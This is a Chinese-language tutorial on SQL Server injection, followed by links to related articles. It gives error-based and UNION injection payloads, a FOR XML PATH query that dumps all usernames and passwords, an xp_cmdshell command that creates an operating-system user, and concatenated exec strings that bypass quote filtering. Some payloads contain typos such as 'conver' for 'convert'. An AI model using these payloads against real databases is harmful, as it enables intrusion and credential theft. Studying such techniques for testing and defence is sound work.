SQL Server注入
1.利用错误消息提取信息
1.1 枚举当前表与列
select * from users where username='root' and password='root' having 1=1--'
抛出错误:选择列表中的列 'users.id' 无效,因为该列没有包含在聚合函数或 GROUP BY 子句中。
发现表名为 'users',存在列名为 'id'
select * from users where username='root' and password='root' group by users.id having 1=1--'
抛出错误:选择列表中的列 'users.username' 无效,因为该列没有包含在聚合函数或 GROUP BY 子句中。
可以利用having子句继续递归查询(如:select * from users where username='root' and password='root' group by users.id,users.username having 1=1--' )
原理:凡是在group by后面出现的字段,必须同时在select后面出现;凡是在select后面出现的、同时未在聚合函数中出现的字段,必须同时出现在group by后面。
在 SQL 中增加 HAVING 子句原因是,WHERE 关键字无法与合计函数一起使用。
1.2 利用数据类型错误提取数据
原理:试图将一个字符串与非字符串基本,或将一个字符串转换为另一个不兼容的类型时,那么SQL编辑器会抛出异常。
select * from users where username='root' and password='root' and 1> (select top 1 username from users)
错误提示:在将 varchar 值 'root' 转换成数据类型 int时失败。
利用此方法可以递归推导出所有账户信息:
select * from users where username='root' and password='root' and 1> (select top 1 username from users where username not in ('root'))
不嵌入子查询:常用内置函数(conver或者case函数:将一种数据类型转换为另一种数据类型)
select * from users where username='root' and password='root' and 1=conver(int,(select top 1 username from users))
也可以通过使用FOR XML PATH 语句将查询的数据生成XML,SQL语句如下:
select * from users where username='root' and password='root' and 1=conver(int,(select stuff((select ','+users.username, '|'+users.password from users for xml path('')),1,1,'')))
错误提示:在将nvarchar值 'root|root,admin|admin,xxser|xxser' 转换成数据类型int时失败
2.获取元数据
SQL Server 常用视图
| 视 图 | 说 明 |
| sys.databases | SQL Server 中所有数据库 |
| sys.sql_logins | SQL Server 中所有登录名 |
| information_schema.tables | 当前用户数据库中的表 |
| information_schema.columns | 当前用户数据库中的列 |
| sys.all_columns | 用户定义对象和系统对象的所有列的联合 |
| sys.database_principals | 数据库中每个权限或列异常权限 |
| sys.database_files | 存储在数据库中的数据库文件 |
| sysobjects | 数据库中创建的每个对象(例如约束、日志以及存储过程) |
3. Order by 子句
常用来判断表的列数
4. UNION查询
Union关键字将两个或更多个查询结果组合为单个结果集,即联合查询,基本规则:
- 所有查询中的列数必须相同
- 数据类型必须兼容
4.1 联合查询探测字段数
使用order by子句或者该联合查询语句 得到users表的字段数:
select * from users where id = 1 union select null,null...
4.2 联合查询敏感信息
id=5 union select 'x',null,null,null from sysobject where xtype='U'
语句执行正常代表数据类型兼容,就可以将x换位SQL语句(如利用视图查询)
(xtype='U' 查询类型为表,用户定义类型)
5. 常用的函数
| 函 数 | 说 明 |
| stuff | 字符串截取函数 |
| ascii | 取ASCII码 |
| char | 根据ASCII码取字符 |
| getdate | 返回日期 |
| count | 返回组中的总条数 |
| cast | 将一种数据类型的表达式显式转换为另一种数据类型的表达式 |
| rand | 返回随机值 |
| is_srvrolemember | 指示SQL Server登录名是否为指定服务器角色的成员 |
6. 危险的存储过程
直接利用CMD创建新用户(要有CONTROL SERVER权限)
select * from table where id=1; exec xp_cmdshell 'net user test test /add'
7. 动态执行
SQL Server 支持动态执行语句,用户可以提交一个字符串来执行SQL语句,例如:
exec('selec'+'t' username,password fro'+'m users')
也可以通过定义十六进制的SQL语句,使用exec函数执行。绕过单引号过滤。
SQL Server注入的更多相关文章
- Sql server注入一些tips
sql server环境测试: 几个特性: 1.sql server兼容性可以说是最差的. 举例: select x from y where id=1 字符串查询 select x from y w ...
- Sql server注入简单认识
登录界面常常会涉及到敏感关键字的注入 为了对应面试,再看一下 怎样防止注入, 可以过滤SQL需要参数中的敏感字符(忽略大小写) public static string Split(string in ...
- SQL server 注入 和 SQL server 扩展(10.29 第二十九天)
Step1:检测注入点 Step2: select * from sysobjects (sysobjects 系统对象表,保存当前数据库的对象) select * from users wher ...
- Sql server之sql注入篇
SQL Injection 关于sql注入的危害在这里就不多做介绍了,相信大家也知道其中的厉害关系.这里有一些sql注入的事件大家感兴趣可以看一下 防范sql注入的方法无非有以下几种: 1.使用类型安 ...
- sql server手工注入
sql server手工注入 测试网站testasp.vulnweb.com 1. http://testasp.vulnweb.com/showforum.asp?id=0 http://testa ...
- SQL Server的WAITFOR DELAY注入
SQL Server的WAITFOR DELAY注入 WAITFOR是SQL Server中Transact-SQL提供的一个流程控制语句.它的作用就是等待特定时间,然后继续执行后续的语句.它包含 ...
- Webservice WCF WebApi 前端数据可视化 前端数据可视化 C# asp.net PhoneGap html5 C# Where 网站分布式开发简介 EntityFramework Core依赖注入上下文方式不同造成内存泄漏了解一下? SQL Server之深入理解STUFF 你必须知道的EntityFramework 6.x和EntityFramework Cor
Webservice WCF WebApi 注明:改编加组合 在.net平台下,有大量的技术让你创建一个HTTP服务,像Web Service,WCF,现在又出了Web API.在.net平台下, ...
- 手工注入——sql server (mssql)注入实战和分析
前言 首先要对sql server进行初步的了解.常用的全部变量@@version:返回当前的Sql server安装的版本.处理器体系结构.生成日期和操作系统.@@servername:放回运行Sq ...
- 实战记录之SQL server报错手工注入
前言 最近测试了一个站点,这个站点挺有意思,发现没有关闭错误提示,初步猜测是SQL server数据库,后来验证确实是.在这里记录一下实战过程,并详细讲解一下用到的知识点. SQL server报错注 ...
随机推荐
- python脚本-excel批量转换为csv文件
pandas和SQL数据分析实战视频教程 https://study.163.com/course/courseMain.htm?courseId=1006383008&share=2& ...
- Flex 布局的最简单表单
http://www.ruanyifeng.com/blog/2018/10/flexbox-form.html https://www.cnblogs.com/grt322/p/8531882.ht ...
- ORA-00911: invalid character 错误解决集锦
转: ORA-00911: invalid character 错误解决集锦 参考https://www.linuxidc.com/Linux/2017-05/144361.htm ORA-00911 ...
- Centos7安装zabbix3.4.0以及配置和使用
一.安装ZABBIX 1.环境和软件版本 注:此次是采用的rpm包方式安装,所以服务器必须要能连接互联网通过yum方式解决依赖关系 ①系统: [root@zabbix ~]# cat /etc/red ...
- 使用PHP实现命令模式(转)
<?php /** * 命令模式 2010-08-21 sz * @author phppan.p#gmail.com http://www.phppan.com * 哥学社成员(http:// ...
- linux lnmp下无法使用mail发邮件的两种解决方法
在配置了lnmp环境后,出现了mail函数不能发送邮件的问题,其实有两种方法,一是使用sendmail组件,而是使用postfix. 方法一,使用sendmail组件来发邮件 1.安装 sendma ...
- 最新 珍岛java校招面经 (含整理过的面试题大全)
从6月到10月,经过4个月努力和坚持,自己有幸拿到了网易雷火.京东.去哪儿.珍岛等10家互联网公司的校招Offer,因为某些自身原因最终选择了珍岛.6.7月主要是做系统复习.项目复盘.LeetCode ...
- python中通过客户端IP拿到所在城市和当地天气信息—附带项目案例
熟悉老一代QQ的小伙伴可能都知道,很早以前的QQ,鼠标滑到头像的位置,你的位置和IP会在详情页显示,那么这个是如何做到的呢?下面我们就来玩一玩这个东西 首先,需求分析: 1.拿到客户端IP 2.通过I ...
- K8S从入门到放弃系列-(7)kubernetes集群之kube-scheduler部署
摘要: 1.Kube-scheduler作为组件运行在master节点,主要任务是把从kube-apiserver中获取的未被调度的pod通过一系列调度算法找到最适合的node,最终通过向kube-a ...
- jenkins sonarqube 代码检测部署
install pgsql and sonarqube docker run --name postgresqldb -e POSTGRES_USER=sonar -e POSTGRES_PASSWO ...